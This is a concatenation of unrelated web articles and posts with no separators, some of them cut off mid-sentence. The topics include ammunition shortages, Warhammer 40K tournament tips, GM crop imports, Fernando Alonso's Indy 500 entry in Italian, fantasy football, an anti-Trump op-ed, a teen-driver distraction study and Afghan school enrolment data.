The shortage, coupled with an increase in prices, comes as many gun owners head to the stores in anticipation of new gun control laws. States like Colorado and New York have already approved such legislation, while Democrats move toward bringing a bill to the Senate floor. At the moment, the congressional bill does not include an assault-weapons ban, but a ban is expected to be floated as an amendment.
Still, what one official described as "panic-buying" set in, as lawmakers rallied to draft new legislation in the wake of a series of tragic mass shootings last year, from Aurora, Colo., to Oak Creek, Wis., to Newtown, Conn.
In Tennessee's Hamilton County, the sheriff's department says its officers will be given fewer bullets when they train at the range.
"The concern over firearms availability and ammunition availability and potentials of gun control certainly has impacted the availability of ammunition purchased locally," training coordinator Jody Mays said, according to WDEF.
Earlier this year, Rollingwood Police Chief Dayne Pryor told MyFoxAustin.com that "panic-buying" is contributing to a situation where officers trying to order new firearms are being forced to wait. He said the city, which is outside Austin, has been told to expect wait times to purchase AR-15s and ammunition.
"We have adequate supplies right now, but we're limited to how often we can go to the firing range to train because we want to be conservative right now," he said.
Similarly, the Jenks Police Department in Oklahoma has faced rising ammo and assault weapons costs.
Police Chief Cameron Arthur said the department is still waiting on an order from October, according to KJRH.
Meanwhile, according to CNSNews.com, Rep. Timothy Huelskamp, R-Kan., said he still hasn't heard back from the Department of Homeland Security on why it's buying 1.6 billion rounds.
The Homeland Security Department, though, has said it needs the bullets for law enforcement agents in training and on duty.
Published federal notices about the ammo buy have agitated conspiracy theorists since the fall. The government's explanation is much less sinister.
The Federal Law Enforcement Training Center in Glynco, Ga., and others like it run by DHS use up to 15 million rounds a year, mostly on shooting ranges and in training exercises.
More than 90 federal agencies and 70,000 agents and officers used the department's training center last year.
The rest of the 1.6 billion rounds of ammunition would be purchased by Immigration and Customs Enforcement, the federal government's second largest criminal investigative agency.
The Homeland Security ammo buy is not the first time the government's bullets purchases have sparked concerns on the Internet. The same thing happened last year when the Social Security Administration posted a notice that it was buying 174,000 hollow point bullets.
The Associated Press contributed to this report.There are many phases of the game. I want to concentrate on the pregame phase. Alot of players don’t practice this phase……..
With 6th edition comes a new phase of 40K. I call this the pregame phase. I wrote this article for Torrent of Fire in October and wanted to bring this to 3++.
There are often anywhere from 15 to 30 minutes of pregame warmups before turn one even starts. In my opinion, whether you win or lose will often be determined by the pregame phase and deployment. I will even be brash enough to say more than 50% of games are won in this critical first 15 to 30 minutes.
Let’s take it from the moment you get your pairing: Your brain starts a data dump:
This is even before you get to the table! When you do arrive, you say hello to your opponent and plop down your list while sizing up your competition’s list and army. The nerves and butterflies threaten to turn your breakfast into lunch. One of you might try some small talk to break the silence. As you scan each other’s lists, strategies start going through your mind on how you are going to beat his, and beat him as a player. Sometimes players who process more slowly can actually push this introduction phase to more than a few minutes―ultimately helping a game not play to the end. I don’t think this is done on purpose, but I have seen this a lot at tournaments.
The next order of business is to start rolling for deployment zones, warlord traits, psychic powers, etc. One of the most important aspects of the pregame phase is choosing sides based upon terrain, your armies, the mission, etc. With everything that has happened above, we can often forget to take into consideration the terrain layout and how this affects our game, or we just take a quick glance at it. Depending on your army, this is a critical step in the sequence of picking a side, determining turn order and warlord table, rolling for psychic powers and every other little accounting detail.
If you are playing on the table shown here, and it’s the first time you add its information to all of the data being shoved into your head during the pregame phase, you could easily miss some of the advantages of the terrain layout based upon the mission.
Trick #1
Before the tournament starts, walk the ENTIRE game floor and look at each table. While you’re doing this, picture your army on the table and which side has advantages for you. Observe firing lanes, hiding spots, where you might want to place your fortification. Yes, do this for all 100+ tables if necessary. I only spend about 30 seconds on each table, but it mitigates some of the input of data to your brain when you are actually there, giving you more precious time to find a way to beat your opponent. Even a 30-second snapshot greatly reduces stress on your thinking muscle. Plus, sometimes you walk up to a table and there is a 15″ line of sight-blocking building in the middle and you are like, “WTF!” If you’ve already seen it, the shock will not hit you as much as it will your opponent.
Trick #2
Practice against as many different armies as you can. This goes without saying, but search out players who have different armies, ones you normally don’t play against. In 6th edition, all army lists now have counters.
Maybe you have never played against Meganobs with Greentide Orks, or Necron Wraiths, or Mech Guard. Nothing puts more strain on the human brain than being in an unfamiliar situation. When an environment is unfamiliar and the stimuli to our brains is hostile and unknown, we begin to overthink, and that’s when most players make mistakes. There is a reason why Tony Kopach always appears calm beside the tabletop. When our brains are firing normally, we won’t overheat and blow a hose. Even if you crush that Greentide list, having experience to fall back on with your current tournament army against as many other armies as possible will slow the brain drain pregame.
If you do get blindsided by something you have never seen or are unfamiliar with, ask about the basics and ask to keep your opponent’s codex on your side of the table. Ask, What type of unit is that? What weapons and psychic powers do they have? A quick scan of the codex instead of the army list is preferable.
Trick #3
Going second is often a good tactical choice depending on the mission, which army you’re playing, if Night Fight is in effect, etc. If going second, take two different sets of dice. With one set of dice, measure out the max effective range of all stationary units that can hurt you taking into consideration Night Fight cover and the other usual factors. With the second set of dice, measure out the max effective range of all units that can hurt you. This gives you a road map of where you can go and how safely you can deploy. I will also often discuss the deployment with my opponents: “This unit is out of line of sight from that unit, correct?” “By the way, this gives a 3+ cover save.”
Take your time deploying. Being out of position on the top of turn one can cripple you. Picture what your opponent can do after his movement. This is especially important with the new Riptide and Wraithknight models. Picture where they can be and what you can do to counter their shooting.
If you are deploying extremely defensively, a.k.a. staying out of range, DO NOT ROLL TO SEIZE THE INITIATIVE, unless you have the mobility to cause SEVERE damage. This backfires on many players, and they seize and lose because of it.
Trick #4 (And the best one for practicing to win the pre-game)next Image 1 of 2
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A wheelchair-bound teen who went viral after his photographer uncle shared a photo of him standing for the flag is in the news again, as a veteran-owned company who saw the photo has stepped forward to gift him with a standing wheelchair.
Arek Trenholm, of Lake County, Florida, was born with spina bifida, a birth defect that causes incomplete closing of the backbone and membranes around the spinal cord. The 16-year-old has only stood from his chair two times in the last seven years, Fox 35 Orlando reported, with one of those occasions occurring when headlines were dominated by athletes choosing to kneel during the playing of the national anthem. Trenholm was commended nationwide for his efforts to stand during his town’s homecoming parade as the flag passed him.
Veteran Scott Liesch came across the photo of Trenholm and presented it to his employers at The Standing Company, who are also fellow veterans. The Michigan-based group decided to surprise Trenholm with a standing wheelchair to help him gain more independence and be able to stand upright more easily, Fox 35 reported.
“All of us at The Standing Company are thrilled to help Arek and we genuinely thank him for taking a stand regarding his beliefs,” David Maczik, company founder and president, said in a statement. “Arek, I am certain, has a fine future in front of him.”
Liesch met Trenholm on Thursday and spent time with him to help him navigate the new chair.
“I’m going to be right alongside you to help you along,” Liesch told Trenholm at their meeting, Fox 35 Orlando reported. “You just joined the ranks of the standing.”
Liesch is a paraplegic who also uses a chair, Myron Leggett, Trenholm’s photographer uncle, said.
“It was very impressive the fact that Arek wants to honor the flag in the best way he could at the time just by standing up,” Liesch told Fox 35 Orlando.'It's okay to be white' fliers posted around UC Davis
UC Davis Chancellor Gary May issued a rebuke of fliers posted around campus that said "It's okay to be white."According to the chancellor's guest column in the student newspaper, the fliers were posted near the Student Community Center and the Women's Resource and Research Center last Saturday night -- and they were taken down by Sunday morning.Similar fliers were posted in Harvard Yard, Tulane University, Concordia College and The University of Alberta. May said the flyers attempted, "to subtly convey a message that white people are under attack in the United States."In his guest column, he spoke directly to the anonymous posters: "If you were looking to persuade people to accept the concept of 'white victimhood,' would you hit a jackpot here? Of course not."Get the full story in the video above.
UC Davis Chancellor Gary May issued a rebuke of fliers posted around campus that said "It's okay to be white."
According to the chancellor's guest column in the student newspaper, the fliers were posted near the Student Community Center and the Women's Resource and Research Center last Saturday night -- and they were taken down by Sunday morning.
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Similar fliers were posted in Harvard Yard, Tulane University, Concordia College and The University of Alberta.
May said the flyers attempted, "to subtly convey a message that white people are under attack in the United States."
In his guest column, he spoke directly to the anonymous posters:
"If you were looking to persuade people to accept the concept of 'white victimhood,' would you hit a jackpot here? Of course not."
Get the full story in the video above.
AlertMeDemocracy comes at a cost, says the city's budget chair Mike Del Grande, warning that the bill for a potential by-election to replace the mayor could climb to as much as $15-million.
That estimate is about double the figure being quoted by most councillors at city hall, but Mr. Del Grande, known for keeping a careful eye on the city's purse, points out the lower number does not include rebates for campaign costs to mayoral candidates and the possibility of a second by-election to fill the ward seat left vacant if a councillor runs and wins a race for mayor.
City Clerk Ulli Watkiss, who presented her office's budget to the committee Thursday morning suggested Mr. Del Grande's estimates might be "a bit high."
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She also pointed out that any talk of a by-election for mayor or for a council seat is still hypothetical. Mayor Rob Ford is fighting to keep his job after a ruling in a conflict-of-interest case turfed him from office. On Wednesday, a judge ruled he could remain mayor during his appeal, scheduled to be heard in early January. If the mayor loses that appeal, council has the choice of appointing a replacement or going to the polls.
The mayor and many of his supporters on council have said they favour a by-election.
"There isn't a price you can put on democracy," said the mayor's brother Councillor Doug Ford earlier this week. "We've said we believe in democracy. The people elect our leaders. Judges do not elect our leaders. We are going to bring it to the people if this appeal does not go through."
Mr. Del Grande said the $15-million price tag for a vote could translate into a.65 percentage point tax increase for homeowners on top of what has been proposed. City staff are recommending a 1.95 per cent rise in residential taxes, but Mr. Del Grande mused that would have to rise to 2.6 per cent to cover by-election costs. The other alternative, he said, would be to cut in other areas.
"There is no magic here," he said. "I just want people to understand. It is fine to go commenting all over the place about doing this or that, but there is a real budget implication here. "FOOD derived from 60 genetically modified crops can be imported into Australia, but local growers can only grow one GM food crop — canola.
GM proponents say complex and costly regulations, state bans and Australia’s small market mean local farmers cannot access a raft of genetically modified food crops.
Yet Food Standards Australia New Zealand has signed off on the import of food derived from GM potatoes, corn, soybeans, sugar beet and rice, which are found in many of the products sitting on Australia’s supermarket shelves.
Over the past 17 years Bayer, Monsanto, Du Pont, Pioneer, Dow and Syngenta have gained FSANZ approval to ensure there are no Australian import restrictions on food imports derived from these GM crops, which deliver agronomic benefits to US, Canadian, Brazilian, Chinese and other nations’ farmers, such as drought tolerance or resistance to herbicides, disease or insect attack.
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Now a new wave of GM food crops is sweeping the world, which shifts the emphasis from on-farm benefits to consumers.
SPS International recently gained FSANZ approval to import food derived from genetically modified non-browning potatoes.
FSANZ is also deciding whether to allow imports of golden rice, which has been genetically modified to boost vitamin A levels.
The world’s first non-browning GM apples go on sale in the US next month, offering consumers pre-cut and peeled apples and pale juices. In Canada purple GM tomatoes are being commercialised, which produce high levels of antioxidants and will be marketed as reducing the incidence of cancer.
But GM proponents say Australia’s costly and protracted regulatory hurdles are restricting farmers’ access to technologies and undermining their competitive advantage. The Office of the Gene Technology Regulator has only received and approved the commercial release of GM canola, cotton, carnations and vaccines.
CropLife Australia chief executive Matthew Cossey said the cost of getting a GM crop to market was about $170 million and could take up to 13 years of research and development.
“Regulatory approval accounts for one-third of that cost,” Mr Cossey said. “The Australian market is already quite small and the risk to business in bringing a product to market in Australia is very high.
He called for the removal of “unnecessary regulations” on GM crop innovations to allow access to plant breeding innovations, including scrapping GM bans in NSW, South Australia, and Tasmania.
Victorian Farmers Federation president David Jochinke said the fact consumers were eating imported GM foods showed the need to reduce regulatory hurdles.
“With such fast-moving technology we need to be open to its adoption,” Mr Jochinke said.This vehicle won't be crude, either. While the existing Hypersonic Air-breathing Weapon Concept project will rely on a booster to reach the altitude where its ramjet kicks in, the new concept embraces the SR-72's "turbine-based combined cycle," where conventional jet tech meets a ramjet. That would let it transition from takeoff to hypersonic speeds without needing a booster engine or helper aircraft in the early stages.
Lockheed's work will still take a while to come to fruition. It's readying a demonstrator aircraft for 2018, and the first hypersonic vehicles in the 2020s (such as HAWC) will likely be weapons. Still, these are positive signs. Although the military is the target customer right now, the developments could lead to hypersonic passenger aircraft that get you across continents in the same time that a short-hop flight takes today.(afp)
LONDRA - Fernando Alonso correrà la 500 di Indianapolis. Il pilota spagnolo guiderà una McLaren che annuncia così il suo ritorno nella mitica gara Usa a 38 anni di distanza dall'ultima volta. Per questo motivo lo spagnolo dovrà rinunciare al Grand Prix di Monaco di F1 che si terrà nello stesso giorno della gara americana, il 28 maggio.
UNICA PROVA INDYCAR PER ALONSO - Il 28 maggio in pista per la 101esima edizione ci sarà una vettura del team di Woking motorizzata Honda, sotto la bandiera dell'Andretti Autosport Team fondato da Michael Andretti, figlio del grande Mario e compagno di squadra di Senna proprio in McLaren nel '93. Il volante sarà affidato ad Alonso che dunque dovrà rinunciare al Grand Prix di Monaco che si terrà nello stesso giorno. Ma, precisa la scuderia, la 500 di Indianapolis sarà l'unica prova della Indycar a cui lo spagnolo prenderà parte per cui l'appuntamento del Principato sarà il solo del 2017 che non vedrà lo spagnolo sulla griglia di partenza. Il nome del suo sostituto per il Gp di Montecarlo verrà annunciato successivamente.
ALONSO: "NON VEDO L'ORA" - "Non vedo l'ora di correre la Indy 500, una delle corse più famose del mondo e sullo stesso piano d'importanza della 24 ore di Le Mans e del Gran Premio di Monaco - commenta Alonso - Ovviamente mi dispiacerà non essere a Montecarlo ma tornerò al volante della MCL32 a Montreal a inizio giugno". Lo spagnolo confessa di voler provare a eguagliare Graham Hill, l'unico pilota a vincere il Gp di Montecarlo, la 500 di Indianapolis e la 24 ore di Le Mans. A quest'ultima corsa "non so quando parteciperò ma intendo farlo: ho solo 35 anni e tanto tempo davanti per riuscirci".How do you know your favorite team’s off season is going poorly?
Your number crunching GM who has little experience evaluating talent is fired and replaced with…a number crunching GM who has little experience evaluating talent. John Idzik, the Jet’s newest man in charge, makes his first order of business to alienate the best player in the history of the franchise. The Quarterback position, arguably the worst in football last season, is addressed with the signing of a 35 year old who’s been out of the league for two years. With about a month to go before the draft, you only have five defensive players under contract who started a game for you last year (and one of them is almost certainly on his way out).
Trying Moving Forward
As I’m sure you can tell, the lack wit Jets fan with the (awesome) Tecmo Bowl avatar is none other than yours truly, and yes I should probably have my fantasy expert license revoked for confusing the Jets new running back with the head coach of the New York Knicks. While I have to admit that my inability to get the guy’s name right is probably an indictment of the signing, I am standing by the sentiment of that tweet.
The Mike Goodson signing was a great one for the Jets, and fantasy owners need to take note. I’ll even go so far as to say that we could be looking at one of the best bargains of 2013 Free agency. Mike Goodson can be every bit as good running the ball for the Jets as Mike Woodson is at having an immaculately groomed goatee. Allow me to make the case…
For starters, we shouldn’t let the fact that Goodson is a career back-up fool us into thinking that he’s just some replacement level scrub. When he’s gotten the opportunity to play, he’s excelled.
Mike Goodson 2010’s Stats
Week Date Opp Score Att Yds Lng TD Rec Yds TD Fum FumL 10 14-Nov @TAM L16-31 23 100 18 0 3 13 0 1 1 11 21-Nov BAL L13-37 22 120 45 0 5 31 0 2 0 12 28-Nov @CLE L23-24 14 55 26 1 8 81 0 0 0
*Bonus Stat: Goodson has only one other game since 2010 in which he has carries the ball 10+ times. In that game (Week 15 of last year) Mike Goodson averaged 6.8 yards per carry.
The chart above shows game logs from 2010, when Goodson was a member of the Carolina Panthers, and both DeAngelo Williams and Jonathan Stewart went down with injuries (Stewart was actually back for that week 12 game in which Goodson did most of his damage through the air – hold that thought). Since that brief cameo as a starter, Goodson quickly faded back into obscurity. Although he had proven himself as a big play threat out of the backfield, there was no way Carolina could justify playing him over their first round draft picks from 2006 (Williams) and 2008 (Stewart).
2011 was a washout for Goodson, as he suffered a hamstring injury that would limit him to only a single game and zero rushing attempts. Last season, he was buried behind another talented starter, playing caddy to Darren McFadden on the Oakland Raiders.
When McFadden inevitably suffered a multi-game injury in Week 10 last year, Goodson improbably managed to suffer the exact same injury (high ankle sprain) in the exact same game, ruining his opportunity to run with NFL starters again. That does not mean however, that there weren’t some positive takeaways from Goodson’s tenure in Oakland. Here’s three notes that I think matter…a lot.
Goodson averaged 6.3 YPC running behind Oakland’s freshly implemented zone blocking scheme. That would be the same scheme that destroyed Darren McFadden’s season (DMC ran for a Raiders all-time low 3.3 YPC), the same scheme that was blamed for Oakland’s putrid 29th ranked run blocking (per Football Outsiders), and the same scheme Goodson has played in during his entire pro career. 64, 43, 43, 37. Those were Goodson’s yardage totals on his four longest plays from scrimmage, proving without question that he is capable of ripping off “chunk” plays (runs of 20 yards or more) that the Jets sorely lacked in their running game last season. He did damage as a receiver out of the backfield, catching all 16 of his targets, good for 12.2 Y/R.
Why should it matter that Goodson has shown the ability to break huge plays behind zone blocking?
Marty Mornhinweg has stepped through the Jets’ revolving door at offensive coordinator, and will be taking over play calling duties this season. Mornhinweg, the long time Philadelphia Eagles OC, is a disciple of the West Coast Offense, a traditionally pass happy system. However, Mornhinweg’s version of the West Coast is a little bit different than most. He’s much more willing to involve the running game in his offense, and while he utilizes several different types of running schemes, the zone is his favorite.
Mornhinweg’s history as an OC is littered with quick, athletic running backs in Goodson’s mold that have put up huge fantasy seasons behind the ZBS – names like LeSean McCoy, Brian Westbrook, Charlie Garner, and Garrison Hearst. It’s Mornhinweg’s ability to find creative ways to get the ball to his backs in space that makes them so dangerous within the confines of his offense. Eagles fans will no doubt recall McCoy running untouched for 10 or 15 yards at a time on plenty of sprint draws and misdirection runs out of split sets.
Mornhinweg also utilizes the passing game to create open space for his backs, placing a particular emphasis on screens, which will play to Goodson’s strengths as a receiver. McCoy has a 78 reception season on his resume, while Westbrook eclipsed 60 receptions 4 times under Mornhinweg, topping out at 90 on a whopping 120 targets as recently as 2007.
It goes without saying that if Goodson is going to become Mornhinweg’s next backfield success story, he’ll to have to claim the lion’s share of the New York Jets backfield touches. While his projected workload is admittedly a question mark, Goodson at least has one important factor going for him – he’s not Bilal Powell. That is to say he’s not just a depth chart back that the Jets new offensive brain trust inherited. They went out and hand picked Goodson (granted they couldn’t afford much else with their salary cap in a state of disarray). While they could end up using an early pick in April’s draft on a RB, the Jets have so many holes to fill at key positions on both sides of the ball that I’d be mildly surprised if they go in that direction.
[pullquote align=”left”]Goodson is a guy I’ve had my eyes on for a long time. He is fast, he is quick, he can catch, and he’s a great athlete –Anthony Lynn Jets RB Coach[/pullquote]
You can also cross the Jets offensive line off the list of worries when it comes to Goodson. The Jets may have been lousy at damn near everything else last season, but their o-line was an elite run blocking unit. Pro Football Focus ranked only the New England Patriots and San Francisco 49ers offensive lines ahead of the Jets in their run blocking ranks. D’Brickashaw Ferguson is a top 10 tackle in the league, Nick Mangold is arguably the NFL’s best run blocking center, and Austin Howard held his own at RT last year. GM John Idzik brought in former Steeler Willie Colon on the cheap, likely to take over Right Guard duties from Brandon Moore. If healthy, Colon is a Pro Bowl caliber talent (PFF ranked him as the 15th best run blocking guard last season), making it safe to once again pencil the Jets in as one of the best run blocking lines in the game.
Fantasy Pros 2013 Consensus Rankings currently list Goodson as the 44th ranked running back. That puts him one spot behind his own presumed back-up, Bilal Powell and one spot ahead of Bernard Pierce, who will enter the season as the clear back-up to Ray Rice in Baltimore. Obviously we’re not drafting today, but that price tag holds enormous profit potential for fantasy owners. Goodson is a skilled back with a proven track record of big play ability. He has experience in the Jets new offensive scheme, and the skill set to thrive in it. The Jets coaching staff sought him out in free agency, and he’s running behind one of the best run blocking o-lines in football. I’ll give you that I glossed over a sketchy injury history, but this is the NFL – every player is at risk to miss time. If the Jets head into training camp without making any more roster moves at RB, I think we’ll see Goodson’s ADP rise to low end RB2 range by draft season (Vick Ballard territory). Even at that price, I still say there’s a strong possibility he returns value. And if Goodson flops, the Jets can throw Mike Woodson in the backfield for all I care – there’s no way he’d be any worse than Shonne Greene.
**Check back for Gridiron Experts Spring Fantasy Player Rankings, let’s see where Jody Smith (FantasyPros.com’s 2012 champ) ranks Mike Goodson, Powell, and of course Caption Butt Fumble.SENSATIONAL news has emerged that Russia is training up monkeys to make the six-month voyage to Mars.
CEN/GETTY MISSION: The Russians hope to send the monkeys into space within two years
It is unclear if the primeates, who are being trained for three hours a day, will survive the exploratory, potentially history-making mission. Boffins from the Russian Academy Of Science, are preparing four rhesus macaques (Macaca mulatta) to make the flight within two years. The animals are being trained three hours a day so they can travel safely into outer space, and eventually land on Mars. The special group of rhesus macaques were chosen for their cognitive abilities and their quick-learning skills. For scientific projects these type of monkeys are hand-reared in special farms, where the cleverest ones get selected to work at the Institute of Biomedical Problems.
CEN FLANKED: The monkeys are being taught to perform simple mathematical tasks
“What we are trying to do is to make them as intelligent as possible so we can use them to explore space beyond our orbit” Expert Inessa Kozlovskaya Inessa Kozlovskaya, a leading expert, believes sending a monkey to Mars is a viable option. She said: "What we are trying to do is to make them as intelligent as possible so we can use them to explore space beyond our orbit." The smartest representative of the four macaques’ is called Clyopa who is seen on an extraordinary training video. Every day the cute little monkey spends hours learning how to control a joystick and hit a target, which is highlighted by a cursor. Natalia Miller, one of the specialists working with the monkey, says Clyopa gets a sip of a juice as a treat for fulfilling tasks |
at the top of their voices. The best Gish Gallopers are the ones who keep getting invited back onto the shows. Good television, you see.
Without doubt or question, the reigning world heavyweight champion of the Gish Gallop also happens to be the president of the United States. Donald Trump modeled his entire presidential campaign on the tactic — outrageous tweets, bizarre proclamations, an ocean of lies deployed on the hour at all hours of day and night — to such mighty effect that his opponents and the “news” media covering him were left sputtering in his wake. The Gallop did not skip a beat after he assumed the White House; indeed, it appears to have found a whole new gear.
Consider Trump’s recent remarks at CIA headquarters:
When I was young — and I think we’re all sort of young. When I was young, we were always winning things in this country. We’d win with trade. We’d win with wars. At a certain age, I remember hearing from one of my instructors, “The United States has never lost a war.” And then, after that, it’s like we haven’t won anything. We don’t win anymore. The old expression, “to the victor belong the spoils” — you remember. I always used to say, keep the oil. I wasn’t a fan of Iraq. I didn’t want to go into Iraq. But I will tell you, when we were in, we got out wrong. And I always said, in addition to that, keep the oil. Now, I said it for economic reasons. But if you think about it, Mike, if we kept the oil you probably wouldn’t have ISIS because that’s where they made their money in the first place. So we should have kept the oil. But okay. Maybe you’ll have another chance. But the fact is, should have kept the oil.
No, we were not always winning. No, we can’t keep the oil. No, he actually was a fan of the Iraq invasion. No, we don’t have ISIS because of the oil. No, they shouldn’t get another chance. Five dollops of galactic nonsense delivered in an avalanche of jumbled verbiage, all of which is abandoned without correction or refutation as the next avalanche comes sliding down the hill. That was how he campaigned, and that is how he is governing: One long Gish Gallop that leaves the logic centers of the average brain stunned and grasping for purchase.
Not everyone is bothered by Trump’s use of the Gish Gallop. For instance, the far-right bunch over at The American Spectator sure seem pleased with the practice. “The hacks covering Trump are as lazy as they are partisan,” wrote Scot McKay regarding the phenomenon, “so feeding them clickbait such as manufactured controversies over inaugural crowds is a guaranteed way of keeping them occupied while things of real substance are done. At this rate, he’ll have the country well on its way to recovery from the Obama malaise, and the enemies in the newsrooms will have hardly noticed his actual work.”
There is more to this than right-wing wishful thinking — “Look how the president plays pan-dimensional chess! He’s a genius!” — when you pile up the aftermath of this first week of Trump’s administration. Torture is back on the table. “The Wall” is one step closer to realization. The Environmental Protection Agency has essentially ceased to exist as a governmental entity. The strongest version of the global gag rule ever deployed is in place. The Dakota Access and Keystone XL pipelines have been advanced. Trump’s horrible cabinet nominees are sailing through the confirmation process largely untouched. All of this is happening without the GOP-controlled House and Senate getting fully into the game yet; when they do, it is going to be a hard day’s night for a very long time to come.
Consider the events of this past weekend. Amid a blizzard of hastily-prepared paperwork came an executive missive on immigration that turned the nation on its collective ear. According to The New York Times, “The order bars entry to refugees from anywhere in the world for 120 days and from Syria indefinitely. It blocks any visitors for 90 days from seven designated countries: Iran, Iraq, Libya, Somalia, Sudan, Syria and Yemen.” The order also affected people with green cards, but the administration had crabbed its way back from that stance by Sunday. All of this initially took place on Holocaust Remembrance Day, which the administration took note of in a formal proclamation that omitted any mention of Jews.
Here was the Muslim ban come to life. The order galvanized a national protest the likes of which have never been seen. When word got out that people were being detained at Kennedy Airport in New York and faced forced deportation due to Trump’s order, hundreds and then thousands of protesters rushed to Kennedy. Airports all across the nation saw similar actions erupt, and the streets of cities from Washington DC to Los Angeles came alive as thousands more shouted down the administration for its cruelty and its cowardice.
The ACLU and other rights groups flew into action, and a temporary restraining order was obtained that blocked the administration from executing its order. A court will decide the constitutionality of the Trump order, but given the black-letter wording of the Immigration and Nationality Act of 1965, it seems ultimately doomed. By Sunday night, some refugees and green-card travelers who had been detained were being released, and the administration found itself in a full crouch trying to defend its actions.
True to form, however, another game was afoot. On the same night that all Hell was breaking loose over immigration, Trump quietly released another executive order that gave White House strategist and white nationalist leader Steve Bannon a regular seat on the National Security Council (NSC). Simultaneously, the order barred both the director of national intelligence and the chairman of the Joint Chiefs of Staff from joining Council meetings unless they are specifically invited. The unprecedented move was met with horror by virtually the entire intelligence community, and for good reason. Even George W. Bush had enough sense to bar Karl Rove from attending NSC meetings, keeping to the long-standing “No political hacks” rule pertaining to the Council. Amidst the din of the uproar over the immigration order, the astonishing Bannon-to-NSC order went largely unnoticed.
Immigration over here, but wait! Steve Bannon over there. The Gish Gallop government strikes again.
That’s one week. If your metric for success is measured by what has been accomplished to date, Donald Trump is Abraham Lincoln in a Superman cape… after fooling everyone into thinking he’s just a bumbling Clark Kent. For sure and certain, much of the “news” media bypassed any serious analysis of Trump’s first week in favor of an ongoing and utterly meaningless rhubarb over the nose count at the inauguration. Why? Because if given the choice, the corporate media will always pursue the easiest story to cover. After all, it beats working.
Trump and his team are playing the media like so many fiddles. All I know for certain is that a million lies have led to one truth: Donald Trump is Gish Galloping at speed, he and his people are almost completely running the table — the pushback on immigration being a profoundly noteworthy exception — and much of the media are eating it up.
“The greatest trick the Devil ever pulled,” said Keyser Soze, “was convincing the world he didn’t exist.” Who is Trump, really? We’re all going to find out soon enough.An inexperienced driver who reaches for a cellphone increases the risk for a crash by more than 700 percent, a new study found.
Using accelerometers, cameras, global positioning devices and other sensors, researchers studied the driving habits of 42 newly licensed 16- and 17-year-old drivers and 167 adults with more experience. The machines recorded incidents of cellphone use, reaching for objects, sending text messages, adjusting radios and controls, and eating and drinking.
Among the teenagers, eating almost tripled the risk for a crash, and texting or looking at an object on the side of the road quadrupled it. Dialing a phone was the most dangerous activity of all, resulting in eight times the risk for a crash or near-crash.
For experienced drivers, only dialing a phone significantly increased the risk for an accident.
The study, published in The New England Journal of Medicine with an entertaining video, found that over all, drivers spent about 10 percent of the time looking at something other than the road in front of them.
“When young people engage in tasks that take their eyes away from the roadway, they’re increasing their risk dramatically,” said the lead author, Charlie Klauer, a research scientist at Virginia Tech University. “Kids need to have their eyes forward. To add any other distraction into this is really increasing the risk.”Political opponents of the Baird government have seized on the release of more than 9000 pages of information about a controversial Melbourne toll road to argue the NSW government should make similar disclosures about Sydney's WestConnex motorway.
The new Labor government in Victoria this week released volumes of documents relating to the East West Link motorway, a project
The documents reveal multiple issues with the motorway that had not been disclosed by the previous state Coalition government in Victoria, including doubts about its financing and analysis showing it would cause traffic delays on other routes through Melbourne.
NSW Greens MLC Mehreen Faruqi, whose own analysis of the WestConnex project argues the government will struggle to raise its estimated $14 billion construction cost, said the similarities between the two toll roads were "uncanny".
"Both have extremely high construction costs, toll revenues that leave a massive funding gap and very dubious claimed benefits," Dr Faruqi said.shockingly, harassing trans girls for headcanoning a character as a trans girl because “theyre taking away representation for Feminine Boys!!” or “what about people who headcanon them as a trans BOY” is bad, stupid, and not progressive in any way. please stop harassing trans women. also ralsei is trans
Is it just me or do the first 10 notes of the lullaby from Deltarune sound just like the Row Row Row Your Boat song?
Ralsei is not a Trans girl
I’m all for headcanons but they have to make some lick of sense. Ralsei is stated numerous times to be a boy yet people seem to have it in their mind that he’s a girl/transgirl/transboy, which directly contradicts what the story has established (except for the last one which, though highly unlikely, is still within the realm of possibility). If it’s an AU, fine, go nuts, but you are blatantly ignoring what the game is telling you if you headcanon that Ralsei is a girl or whatever. It’s like if I had a headcanon that Lancer is green, that’s blatantly fucking false because it’s clear as day that he’s pale blue. And to those of you who are gonna respond with “Bu-but he acts and looks femenine!!!!” you do realize men can be effeminate too, right? I like baking cakes just like Ralsei and that doesn’t make me a girl.
tl;dr if you want Ralsei to be trans make it an au, not a headcanonOTTAWA - Canadian officials are shrugging off U.S. concerns that school enrolment numbers in Afghanistan — one of the most tangible indicators of the impact of millions in aid spending — may have been inflated or falsified outright.
The American agency that oversees Afghan aid spending ordered a review of enrolment data after Afghanistan's education minister implied the numbers are misleading and that money may have been spent on so-called "ghost schools" that don't even exist.
"These allegations suggest that U.S. and other donors may have paid for schools that students do not attend and for the salaries of teachers who do not teach," John Sopko, the special inspector general for Afghanistan reconstruction, wrote in a letter to the United States Agency for International Development (USAID).
Canadian politicians and bureaucrats routinely cite a huge spike in enrolment as proof that at least $227 million in education spending in Afghanistan, including the construction of dozens of new schools, has made a difference.
When asked what Canada was doing to verify the statistics it uses, a spokesperson for Foreign Affairs initially said while they were aware Afghan officials sometimes inflate numbers in the media, Canada takes a different approach.
"(Foreign Affairs) is conservative when reporting Afghan school enrolment figures from 2013 which state that more than 8.4 million Afghan children, almost 39 per cent of whom are girls, are enrolled in formal and community-based schools," Francois Lasalle said in an email.
"This is a significant increase from only one million boys enrolled in formal schools in 2001."
Those figures, Lasalle said, were vetted and reported on by the Afghan Ministry of Education Management Information System.
Problem is, it was precisely those figures — and that information system — that were flagged by the American special inspector.
"USAID has cited a jump in students enrolled in schools — from an estimated 900,000 in 2002 to more than 8 million in 2013 — as a clear indicator of progress," wrote Sopko.
"The data USAID uses to measure this progress came from the MOE's Education Management Information System (EMIS), which USAID has said it cannot verify, and which it now appears that officials from the Karzai administration may have falsified."
In May, Afghan media reported that Minister of Education Asadullah Haneef Bakhi told parliament the government of former president Hamid Karzai made up education data to get more money from the international community.
After Sopko's concerns were made public, Bakhi reiterated some of his own.
"In some of the insecure areas, there are no schools, but the benefits, opportunities, money for infrastructure, money for teachers and so on have taken place," he told TOLOnews, according to an English translation of the interview that appears on the channel's website.
When asked to explain why Canada wasn't worried about the veracity of the same data, Foreign Affairs took a different approach.
In a follow up email, a different spokesperson said Canada seeks to validate the data it gets from Afghanistan via the World Bank, which oversees some of the largest education-oriented programs.
Their latest figures state 7.6 million children were in primary school in 2010.
"Nevertheless, given the conflict, basic insecurity, and rugged terrain it is difficult for all parties involved to fully confirm these figures," spokesperson Diana Khaddaj writes.
In its response to Sopko this week, USAID said it believed Bakhi's words were misinterpreted and he was not alleging actual fraud, just bad data collection, as well as a tendency by the former government to publicly overstate known enrolment.
